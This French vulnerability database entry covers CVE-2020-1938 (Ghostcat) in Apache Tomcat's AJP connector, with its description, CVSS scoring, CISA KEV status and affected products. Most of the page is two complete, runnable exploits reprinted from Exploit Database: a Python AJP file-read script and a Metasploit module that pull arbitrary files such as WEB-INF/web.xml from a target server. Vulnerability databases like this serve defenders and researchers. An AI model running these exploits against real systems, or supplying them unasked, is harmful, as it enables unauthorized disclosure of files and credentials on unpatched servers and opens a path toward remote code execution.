CVE-2020-1938 : Détail

CVE-2020-1938

9.8
/
Critique
94.47%V4
Network
2020-02-24
21h19 +00:00
2025-02-06
21h14 +00:00
CVE.org
NVD
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Descriptions du CVE

When using the Apache JServ Protocol (AJP), care must be taken when trusting incoming connections to Apache Tomcat. Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited in ways that may be surprising. In Apache Tomcat 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99, Tomcat shipped with an AJP Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended in the security guide) that this Connector would be disabled if not required. This vulnerability report identified a mechanism that allowed: - returning arbitrary files from anywhere in the web application - processing any file in the web application as a JSP Further, if the web application allowed file upload and stored those files within the web application (or the attacker was able to control the content of the web application by some other means) then this, along with the ability to process a file as a JSP, made remote code execution possible. It is important to note that mitigation is only required if an AJP port is accessible to untrusted users. Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files and execution as JSP may upgrade to Apache Tomcat 9.0.31, 8.5.51 or 7.0.100 or later. A number of changes were made to the default AJP Connector configuration in 9.0.31 to harden the default configuration. It is likely that users upgrading to 9.0.31, 8.5.51 or 7.0.100 or later will need to make small changes to their configurations.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : Apache Tomcat Improper Privilege Management Vulnerability

Action requise : Apply updates per vendor instructions.

Connu pour être utilisé dans des campagnes de ransomware : Unknown

Ajouter le : 2022-03-02 23h00 +00:00

Action attendue : 2022-03-16 23h00 +00:00

Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 48143

Date de publication : 2020-02-19 23h00 +00:00
Auteur : YDHCUI
EDB Vérifié : No

#!/usr/bin/env python #CNVD-2020-10487 Tomcat-Ajp lfi #by ydhcui import struct # Some references: # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html def pack_string(s): if s is None: return struct.pack(">h", -1) l = len(s) return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0) def unpack(stream, fmt): size = struct.calcsize(fmt) buf = stream.read(size) return struct.unpack(fmt, buf) def unpack_string(stream): size, = unpack(stream, ">h") if size == -1: # null string return None res, = unpack(stream, "%ds" % size) stream.read(1) # \0 return res class NotFoundException(Exception): pass class AjpBodyRequest(object): # server == web server, container == servlet SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) MAX_REQUEST_LENGTH = 8186 def __init__(self, data_stream, data_len, data_direction=None): self.data_stream = data_stream self.data_len = data_len self.data_direction = data_direction def serialize(self): data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) if len(data) == 0: return struct.pack(">bbH", 0x12, 0x34, 0x00) else: res = struct.pack(">H", len(data)) res += data if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER: header = struct.pack(">bbH", 0x12, 0x34, len(res)) else: header = struct.pack(">bbH", 0x41, 0x42, len(res)) return header + res def send_and_receive(self, socket, stream): while True: data = self.serialize() socket.send(data) r = AjpResponse.receive(stream) while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS: r = AjpResponse.receive(stream) if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4: break class AjpForwardRequest(object): _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28) REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE} # server == web server, container == servlet SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) COMMON_HEADERS = ["SC_REQ_ACCEPT", "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION", "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2", "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT" ] ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"] def __init__(self, data_direction=None): self.prefix_code = 0x02 self.method = None self.protocol = None self.req_uri = None self.remote_addr = None self.remote_host = None self.server_name = None self.server_port = None self.is_ssl = None self.num_headers = None self.request_headers = None self.attributes = None self.data_direction = data_direction def pack_headers(self): self.num_headers = len(self.request_headers) res = "" res = struct.pack(">h", self.num_headers) for h_name in self.request_headers: if h_name.startswith("SC_REQ"): code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1 res += struct.pack("BB", 0xA0, code) else: res += pack_string(h_name) res += pack_string(self.request_headers[h_name]) return res def pack_attributes(self): res = b"" for attr in self.attributes: a_name = attr['name'] code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1 res += struct.pack("b", code) if a_name == "req_attribute": aa_name, a_value = attr['value'] res += pack_string(aa_name) res += pack_string(a_value) else: res += pack_string(attr['value']) res += struct.pack("B", 0xFF) return res def serialize(self): res = "" res = struct.pack("bb", self.prefix_code, self.method) res += pack_string(self.protocol) res += pack_string(self.req_uri) res += pack_string(self.remote_addr) res += pack_string(self.remote_host) res += pack_string(self.server_name) res += struct.pack(">h", self.server_port) res += struct.pack("?", self.is_ssl) res += self.pack_headers() res += self.pack_attributes() if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER: header = struct.pack(">bbh", 0x12, 0x34, len(res)) else: header = struct.pack(">bbh", 0x41, 0x42, len(res)) return header + res def parse(self, raw_packet): stream = StringIO(raw_packet) self.magic1, self.magic2, data_len = unpack(stream, "bbH") self.prefix_code, self.method = unpack(stream, "bb") self.protocol = unpack_string(stream) self.req_uri = unpack_string(stream) self.remote_addr = unpack_string(stream) self.remote_host = unpack_string(stream) self.server_name = unpack_string(stream) self.server_port = unpack(stream, ">h") self.is_ssl = unpack(stream, "?") self.num_headers, = unpack(stream, ">H") self.request_headers = {} for i in range(self.num_headers): code, = unpack(stream, ">H") if code > 0xA000: h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001] else: h_name = unpack(stream, "%ds" % code) stream.read(1) # \0 h_value = unpack_string(stream) self.request_headers[h_name] = h_value def send_and_receive(self, socket, stream, save_cookies=False): res = [] i = socket.sendall(self.serialize()) if self.method == AjpForwardRequest.POST: return res r = AjpResponse.receive(stream) assert r.prefix_code == AjpResponse.SEND_HEADERS res.append(r) if save_cookies and 'Set-Cookie' in r.response_headers: self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie'] # read body chunks and end response packets while True: r = AjpResponse.receive(stream) res.append(r) if r.prefix_code == AjpResponse.END_RESPONSE: break elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK: continue else: raise NotImplementedError break return res class AjpResponse(object): _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7) COMMON_SEND_HEADERS = [ "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified", "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate" ] def parse(self, stream): # read headers self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb") if self.prefix_code == AjpResponse.SEND_HEADERS: self.parse_send_headers(stream) elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK: self.parse_send_body_chunk(stream) elif self.prefix_code == AjpResponse.END_RESPONSE: self.parse_end_response(stream) elif self.prefix_code == AjpResponse.GET_BODY_CHUNK: self.parse_get_body_chunk(stream) else: raise NotImplementedError def parse_send_headers(self, stream): self.http_status_code, = unpack(stream, ">H") self.http_status_msg = unpack_string(stream) self.num_headers, = unpack(stream, ">H") self.response_headers = {} for i in range(self.num_headers): code, = unpack(stream, ">H") if code <= 0xA000: # custom header h_name, = unpack(stream, "%ds" % code) stream.read(1) # \0 h_value = unpack_string(stream) else: h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001] h_value = unpack_string(stream) self.response_headers[h_name] = h_value def parse_send_body_chunk(self, stream): self.data_length, = unpack(stream, ">H") self.data = stream.read(self.data_length+1) def parse_end_response(self, stream): self.reuse, = unpack(stream, "b") def parse_get_body_chunk(self, stream): rlen, = unpack(stream, ">H") return rlen @staticmethod def receive(stream): r = AjpResponse() r.parse(stream) return r import socket def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) fr.method = method fr.protocol = "HTTP/1.1" fr.req_uri = req_uri fr.remote_addr = target_host fr.remote_host = None fr.server_name = target_host fr.server_port = 80 fr.request_headers = { 'SC_REQ_ACCEPT': 'text/html', 'SC_REQ_CONNECTION': 'keep-alive', 'SC_REQ_CONTENT_LENGTH': '0', 'SC_REQ_HOST': target_host, 'SC_REQ_USER_AGENT': 'Mozilla', 'Accept-Encoding': 'gzip, deflate, sdch', 'Accept-Language': 'en-US,en;q=0.5', 'Upgrade-Insecure-Requests': '1', 'Cache-Control': 'max-age=0' } fr.is_ssl = False fr.attributes = [] return fr class Tomcat(object): def __init__(self, target_host, target_port): self.target_host = target_host self.target_port = target_port self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.socket.connect((target_host, target_port)) self.stream = self.socket.makefile("rb", bufsize=0) def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]): self.req_uri = req_uri self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method)) print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) if user is not None and password is not None: self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '') for h in headers: self.forward_request.request_headers[h] = headers[h] for a in attributes: self.forward_request.attributes.append(a) responses = self.forward_request.send_and_receive(self.socket, self.stream) if len(responses) == 0: return None, None snd_hdrs_res = responses[0] data_res = responses[1:-1] if len(data_res) == 0: print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers) return snd_hdrs_res, data_res ''' javax.servlet.include.request_uri javax.servlet.include.path_info javax.servlet.include.servlet_path ''' import argparse parser = argparse.ArgumentParser() parser.add_argument("target", type=str, help="Hostname or IP to attack") parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)") parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)") args = parser.parse_args() t = Tomcat(args.target, args.port) _,data = t.perform_request('/asdf',attributes=[ {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']}, {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]}, {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']}, ]) print('----------------------------') print("".join([d.data for d in data]))
Exploit Database EDB-ID : 49039

Date de publication : 2020-11-12 23h00 +00:00
Auteur : SunCSR
EDB Vérifié : Yes

require "msf/core" class MetasploitModule < Msf::Auxiliary Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, "Name" => "Ghostcat", "Description" => %q{ When using the Apache JServ Protocol (AJP), care must be taken when trusting incoming connections to Apache Tomcat. Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited in ways that may be surprising. In Apache Tomcat 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99, Tomcat shipped with an AJP Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended in the security guide) that this Connector would be disabled if not required. This vulnerability report identified a mechanism that allowed: - returning arbitrary files from anywhere in the web application - processing any file in the web application as a JSP Further, if the web application allowed file upload and stored those files within the web application (or the attacker was able to control the content of the web application by some other means) then this, along with the ability to process a file as a JSP, made remote code execution possible. It is important to note that mitigation is only required if an AJP port is accessible to untrusted users. Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files and execution as JSP may upgrade to Apache Tomcat 9.0.31, 8.5.51 or 7.0.100 or later. A number of changes were made to the default AJP Connector configuration in 9.0.31 to harden the default configuration. It is likely that users upgrading to 9.0.31, 8.5.51 or 7.0.100 or later will need to make small changes to their configurations. }, "Author" => [ "A Security Researcher of Chaitin Tech", #POC "ThienNV - SunCSR" #Metasploit Module ], "License" => MSF_LICENSE, "References" => [ [ "CVE", "2020-1938"] ], "Privileged" => false, "Platform" => %w{ java linux win}, "Targets" => [ ["Automatic", { "Arch" => ARCH_JAVA, "Platform" => "win" } ], [ "Java Windows", { "Arch" => ARCH_JAVA, "Platform" => "win" } ], [ "Java Linux", { "Arch" => ARCH_JAVA, "Platform" => "linux" } ] ], "DefaultTarget" => 0)) register_options( [ OptString.new("FILENAME",[true,"File name","/WEB-INF/web.xml"]), OptBool.new('SSL', [ true, 'SSL', false ]), OptPort.new('PORTWEB', [ false, 'Set a port webserver']) ],self.class) end def method2code(method) methods = { "OPTIONS" => 1, "GET" => 2, "HEAD" => 3, "POST" => 4, "PUT" => 5, "DELETE" => 6, "TRACE" => 7, "PROPFIND" => 8 } code = methods[method] return code end def make_headers(headers) header2code = { "accept" => "\xA0\x01", "accept-charset" => "\xA0\x02", "accept-encoding" => "\xA0\x03", "accept-language" => "\xA0\x04", "authorization" => "\xA0\x05", "connection" => "\xA0\x06", "content-type" => "\xA0\x07", "content-length" => "\xA0\x08", "cookie" => "\xA0\x09", "cookie2" => "\xA0\x0A", "host" => "\xA0\x0B", "pragma" => "\xA0\x0C", "referer" => "\xA0\x0D", "user-agent" => "\xA0\x0E" } headers_ajp = Array.new for (header_name, header_value) in headers do code = header2code[header_name].to_s if code != "" headers_ajp.append(code) headers_ajp.append(ajp_string(header_value.to_s)) else headers_ajp.append(ajp_string(header_name.to_s)) headers_ajp.append(ajp_string(header_value.to_s)) end end return int2byte(headers.length,2), headers_ajp end def make_attributes(attributes) attribute2code = { "remote_user" => "\x03", "auth_type" => "\x04", "query_string" => "\x05", "jvm_route" => "\x06", "ssl_cert" => "\x07", "ssl_cipher" => "\x08", "ssl_session" => "\x09", "req_attribute" => "\x0A", "ssl_key_size" => "\x0B" } attributes_ajp = Array.new for attr in attributes name = attr.keys.first.to_s code = (attribute2code[name]).to_s value = attr[name] if code != "" attributes_ajp.append(code) if code == "\x0A" for v in value attributes_ajp.append(ajp_string(v.to_s)) end else attributes_ajp.append(ajp_string(value.to_s)) end end end return attributes_ajp end def ajp_string(message_bytes) message_len_int = message_bytes.length return int2byte(message_len_int,2) + message_bytes + "\x00" end def int2byte(data, byte_len=1) if byte_len == 1 return [data].pack("C") else return [data].pack("n*") end end def make_forward_request_package(method,headers,attributes) prefix_code_int = 2 prefix_code_bytes = int2byte(prefix_code_int) method_bytes = int2byte(method2code(method)) protocol_bytes = "HTTP/1.1" req_uri_bytes = "/index.txt" remote_addr_bytes = "127.0.0.1" remote_host_bytes = "localhost" server_name_bytes = datastore['RHOST'].to_s if datastore['SSL'] == true is_ssl_boolean = 1 else is_ssl_boolean = 0 end server_port_int = datastore['PORTWEB'] if server_port_int.to_s == "" server_port_int = (is_ssl_boolean ^ 1) * 80 + (is_ssl_boolean ^ 0) * 443 end is_ssl_bytes = int2byte(is_ssl_boolean,1) server_port_bytes = int2byte(server_port_int, 2) headers.append(["host", "#{server_name_bytes}:#{server_port_int}"]) num_headers_bytes, headers_ajp_bytes = make_headers(headers) attributes_ajp_bytes = make_attributes(attributes) message = Array.new message.append(prefix_code_bytes) message.append(method_bytes) message.append(ajp_string(protocol_bytes.to_s)) message.append(ajp_string(req_uri_bytes.to_s)) message.append(ajp_string(remote_addr_bytes.to_s)) message.append(ajp_string(remote_host_bytes.to_s)) message.append(ajp_string(server_name_bytes.to_s)) message.append(server_port_bytes) message.append(is_ssl_bytes) message.append(num_headers_bytes) message += headers_ajp_bytes message += attributes_ajp_bytes message.append("\xff") message_bytes = message.join send_bytes = "\x12\x34" + ajp_string(message_bytes.to_s) return send_bytes end def send_recv_once(data) buf = "" begin connect(true, {'RHOST'=>"#{datastore['RHOST'].to_s}", 'RPORT'=>datastore['RPORT'].to_i, 'SSL'=>datastore['SSL']}) sock.put(data) buf = sock.get_once || "" rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") ensure disconnect end return buf end def read_buf_string(buf, idx) len = buf[idx..(idx+2)].unpack('n')[0] idx += 2 print "#{buf[idx..(idx+len)]}" idx += len + 1 idx end def parse_response(buf, idx) common_response_headers = { "\x01" => "Content-Type", "\x02" => "Content-Language", "\x03" => "Content-Length", "\x04" => "Date", "\x05" => "Last-Modified", "\x06" => "Location", "\x07" => "Set-Cookie", "\x08" => "Set-Cookie2", "\x09" => "Servlet-Engine", "\x0a" => "Status", "\x0b" => "WWW-Authenticate", } idx += 2 idx += 2 if buf[idx] == "\x04" idx += 1 print "Status Code: " idx += 2 idx = read_buf_string(buf, idx) puts header_num = buf[idx..(idx+2)].unpack('n')[0] idx += 2 for i in 1..header_num if buf[idx] == "\xA0" idx += 1 print "#{common_response_headers[buf[idx]]}: " idx += 1 idx = read_buf_string(buf, idx) puts else idx = read_buf_string(buf, idx) print(": ") idx = read_buf_string(buf, idx) puts end end elsif buf[idx] == "\x05" return 0 elsif buf[idx] == "\x03" idx += 1 puts idx = read_buf_string(buf, idx) else return 1 end parse_response(buf, idx) end def run headers = Array.new method = "GET" target_file = datastore['FILENAME'].to_s attributes = [ {"req_attribute" => ["javax.servlet.include.request_uri", "index"]}, {"req_attribute" => ["javax.servlet.include.path_info" , target_file]}, {"req_attribute" => ["javax.servlet.include.servlet_path" , "/"]} ] data = make_forward_request_package(method, headers, attributes) buf = send_recv_once(data) parse_response(buf, 0) end end

Products Mentioned

Configuraton 0

Apache>>Geode >> Version 1.12.0

Apache>>Tomcat >> Version From (including) 7.0.0 To (excluding) 7.0.100

Apache>>Tomcat >> Version From (including) 8.5.0 To (excluding) 8.5.51

Apache>>Tomcat >> Version From (including) 9.0.0 To (excluding) 9.0.31

Configuraton 0

Fedoraproject>>Fedora >> Version 30

Fedoraproject>>Fedora >> Version 31

Fedoraproject>>Fedora >> Version 32

Configuraton 0

Oracle>>Agile_engineering_data_management >> Version 6.2.1.0

Oracle>>Agile_plm >> Version 9.3.3

Oracle>>Agile_plm >> Version 9.3.5

Oracle>>Agile_plm >> Version 9.3.6

Oracle>>Communications_element_manager >> Version 8.1.1

Oracle>>Communications_element_manager >> Version 8.2.0

Oracle>>Communications_element_manager >> Version 8.2.1

Oracle>>Communications_instant_messaging_server >> Version 10.0.1.4.0

Oracle>>Health_sciences_empirica_inspections >> Version 1.0.1.2

Oracle>>Health_sciences_empirica_signal >> Version 7.3.3

Oracle>>Hospitality_guest_access >> Version 4.2.0

Oracle>>Hospitality_guest_access >> Version 4.2.1

Oracle>>Instantis_enterprisetrack >> Version From (including) 17.1 To (including) 17.3

Oracle>>Mysql_enterprise_monitor >> Version To (including) 4.0.12

Oracle>>Mysql_enterprise_monitor >> Version From (including) 8.0.0 To (including) 8.0.20

Oracle>>Siebel_ui_framework >> Version To (including) 20.5

Oracle>>Transportation_management >> Version 6.3.7

Oracle>>Workload_manager >> Version 12.2.0.1

Oracle>>Workload_manager >> Version 18c

Oracle>>Workload_manager >> Version 19c

Configuraton 0

Debian>>Debian_linux >> Version 8.0

Debian>>Debian_linux >> Version 9.0

Debian>>Debian_linux >> Version 10.0

Configuraton 0

Opensuse>>Leap >> Version 15.1

Configuraton 0

Blackberry>>Good_control >> Version To (including) 5.2.58.38

Blackberry>>Workspaces_server >> Version 7.0.1

Blackberry>>Workspaces_server >> Version 7.1.2

Blackberry>>Workspaces_server >> Version 8.1.0

Blackberry>>Workspaces_server >> Version 9.0

Configuraton 0

Netapp>>Data_availability_services >> Version -

Netapp>>Oncommand_system_manager >> Version From (including) 3.0.0 To (including) 3.1.3

Références

https://security.gentoo.org/glsa/202003-43
Tags : vendor-advisory, x_refsource_GENTOO
https://www.debian.org/security/2020/dsa-4673
Tags : vendor-advisory, x_refsource_DEBIAN
https://www.debian.org/security/2020/dsa-4680
Tags : vendor-advisory, x_refsource_DEBIAN